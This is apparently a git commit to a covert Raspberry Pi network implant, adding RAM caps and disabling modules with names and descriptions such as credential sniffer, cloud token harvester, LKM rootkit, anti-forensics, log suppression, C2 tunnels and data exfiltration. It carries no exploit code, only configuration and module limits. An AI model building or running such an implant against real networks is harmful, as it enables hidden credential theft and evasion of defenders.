Cap stealth/intel/connectivity modules on Pi3B tier to prevent OOM
- Add max_stealth: 3 and max_other: 4 limits to pi3b tier in HARDWARE_TIERS - Enforce those caps in _tier_allows() for stealth and intel+connectivity modules - Disable heavy passive modules: vlan_discovery, network_mapper, auth_flow_tracker, smb_monitor, cloud_token_harvester, ldap_harvester, rdp_monitor, quic_analyzer - Disable heavy stealth modules: lkm_rootkit, ids_tester, ja3_spoofer, overlayfs_manager, encrypted_storage, anti_forensics, traffic_mimicry - Disable heavy intel modules: supply_chain_detect, security_posture, tool_output_parser, topology_mapper, user_timeline, net_intel - Disable heavy connectivity modules: ble_emergency, cellular_backup, bridge, wireguard, wifi_client On Pi 3B (1GB RAM, 700MB budget), this prevents 35+ subprocesses spawning and causing OOM crashes. Keeps lightweight modules running: dns_logger, tls_sni_extractor, credential_sniffer, host_discovery, os_fingerprint, traffic_analyzer, packet_capture, mac_manager, process_disguise, log_suppression, tmpfs_manager, watchdog, credential_db, change_detector, operator_audit, tailscale, data_exfil.
This commit is contained in:
Cobra
+26
-26
@@ -60,36 +60,36 @@ passive:
|
||||
beacon_min_count: 10 # Min occurrences to confirm beacon
|
||||
|
||||
vlan_discovery:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "802.1Q/DTP/STP/CDP/LLDP/802.1X detection"
|
||||
|
||||
network_mapper:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "Communication graph construction (all-pairs, protocol/volume)"
|
||||
snapshot_interval_hours: 4
|
||||
|
||||
auth_flow_tracker:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "Cross-protocol auth correlation (Kerberos/NTLM/SSH/LDAP)"
|
||||
|
||||
smb_monitor:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "SMB2/3 share/file access metadata, GPP/SYSVOL detection"
|
||||
|
||||
cloud_token_harvester:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "Passive AWS/JWT/OAuth token extraction from cleartext HTTP"
|
||||
|
||||
ldap_harvester:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "LDAP query/response parsing, AD object inventory"
|
||||
|
||||
rdp_monitor:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "RDP NLA username/hostname/domain extraction"
|
||||
|
||||
quic_analyzer:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "QUIC Initial packet SNI extraction (RFC 9000/9001)"
|
||||
|
||||
db_interceptor:
|
||||
@@ -184,7 +184,7 @@ stealth:
|
||||
description: "rsyslog filter, auditd exclusion, journald rate-limit, history clear"
|
||||
|
||||
encrypted_storage:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "LUKS encrypted storage with network-derived key"
|
||||
|
||||
tmpfs_manager:
|
||||
@@ -196,27 +196,27 @@ stealth:
|
||||
description: "Monitor all services + subprocesses, auto-restart (max 3)"
|
||||
|
||||
anti_forensics:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "Timestomp, secure deletion, no core dumps, no swap"
|
||||
|
||||
traffic_mimicry:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "Shape implant traffic to match 48h baseline patterns"
|
||||
|
||||
ja3_spoofer:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "Chrome/Firefox/Edge JA3 on all outbound HTTPS"
|
||||
|
||||
ids_tester:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "Check planned actions against Snort/Suricata rules"
|
||||
|
||||
lkm_rootkit:
|
||||
enabled: false # Debian host only, requires kernel headers
|
||||
enabled: false # Pi3B: disabled to conserve RAM
|
||||
description: "LKM to hide processes/files/connections from /proc"
|
||||
|
||||
overlayfs_manager:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "Read-only root FS + tmpfs overlay (zero SD writes)"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
@@ -233,19 +233,19 @@ intel:
|
||||
- json
|
||||
|
||||
topology_mapper:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "Network topology aggregation + Graphviz DOT/SVG output"
|
||||
|
||||
net_intel:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "Beacon/C2 detection, anomaly baseline, service dependency mapping"
|
||||
|
||||
user_timeline:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "Per-user activity timeline (logins, services, files, websites)"
|
||||
|
||||
supply_chain_detect:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "Detect internal repos, WSUS, CA, SCCM, container registries, CI/CD"
|
||||
|
||||
change_detector:
|
||||
@@ -254,7 +254,7 @@ intel:
|
||||
check_interval_s: 300
|
||||
|
||||
security_posture:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "Detect EDR/SIEM/NAC/honeypots/vuln scanners/network taps"
|
||||
|
||||
operator_audit:
|
||||
@@ -262,7 +262,7 @@ intel:
|
||||
description: "Append-only HMAC-chained SSH session + command audit trail"
|
||||
|
||||
tool_output_parser:
|
||||
enabled: true
|
||||
enabled: false
|
||||
description: "Parse bettercap events, Responder logs, mitmproxy flows"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
@@ -270,7 +270,7 @@ intel:
|
||||
# ---------------------------------------------------------------------------
|
||||
connectivity:
|
||||
wireguard:
|
||||
enabled: true
|
||||
enabled: false # Pi3B: disabled to conserve RAM
|
||||
description: "Primary C2 -- zero traffic when idle, instant on demand"
|
||||
persistent_keepalive: 0 # Silent until operator connects
|
||||
|
||||
@@ -279,12 +279,12 @@ connectivity:
|
||||
description: "Fallback mesh VPN via Tailscale"
|
||||
|
||||
bridge:
|
||||
enabled: false
|
||||
enabled: false # Pi3B: disabled to conserve RAM
|
||||
description: "Transparent inline bridge (802.1X bypass, STP/CDP suppression)"
|
||||
failsafe_timeout_s: 15 # C watchdog failsafe
|
||||
|
||||
wifi_client:
|
||||
enabled: false
|
||||
enabled: false # Pi3B: disabled to conserve RAM
|
||||
description: "WPA2-PSK/Enterprise WiFi client via wpa_supplicant"
|
||||
|
||||
reverse_tunnel:
|
||||
@@ -292,11 +292,11 @@ connectivity:
|
||||
description: "autossh reverse SSH (over WebSocket or TLS, never raw on 443)"
|
||||
|
||||
cellular_backup:
|
||||
enabled: false # OPi Zero 3+ only (13-pin header USB)
|
||||
enabled: false # Pi3B: disabled to conserve RAM
|
||||
description: "LTE modem out-of-band backup (SIM7600/EC25)"
|
||||
|
||||
ble_emergency:
|
||||
enabled: false
|
||||
enabled: false # Pi3B: disabled to conserve RAM
|
||||
description: "BLE GATT server for emergency status/kill/reboot (PSK auth)"
|
||||
|
||||
data_exfil:
|
||||
|
||||
@@ -41,6 +41,8 @@ HARDWARE_TIERS = {
|
||||
"pi3b": {
|
||||
"max_passive": 8,
|
||||
"max_active": 2,
|
||||
"max_stealth": 3,
|
||||
"max_other": 4,
|
||||
"max_ram_mb": 700, # 900MB total - ~200MB OS overhead
|
||||
"max_cpu_pct": 75,
|
||||
"allow_mitmproxy": False,
|
||||
@@ -443,6 +445,13 @@ class Engine:
|
||||
elif cls.module_type == "active":
|
||||
if running_by_type.get("active", 0) >= limits["max_active"]:
|
||||
return False
|
||||
elif cls.module_type == "stealth":
|
||||
if running_by_type.get("stealth", 0) >= limits.get("max_stealth", 99):
|
||||
return False
|
||||
elif cls.module_type in ("intel", "connectivity"):
|
||||
other_running = running_by_type.get("intel", 0) + running_by_type.get("connectivity", 0)
|
||||
if other_running >= limits.get("max_other", 99):
|
||||
return False
|
||||
return True
|
||||
|
||||
def _count_running_by_type(self) -> dict[str, int]:
|
||||
|
||||
Reference in New Issue
Block a user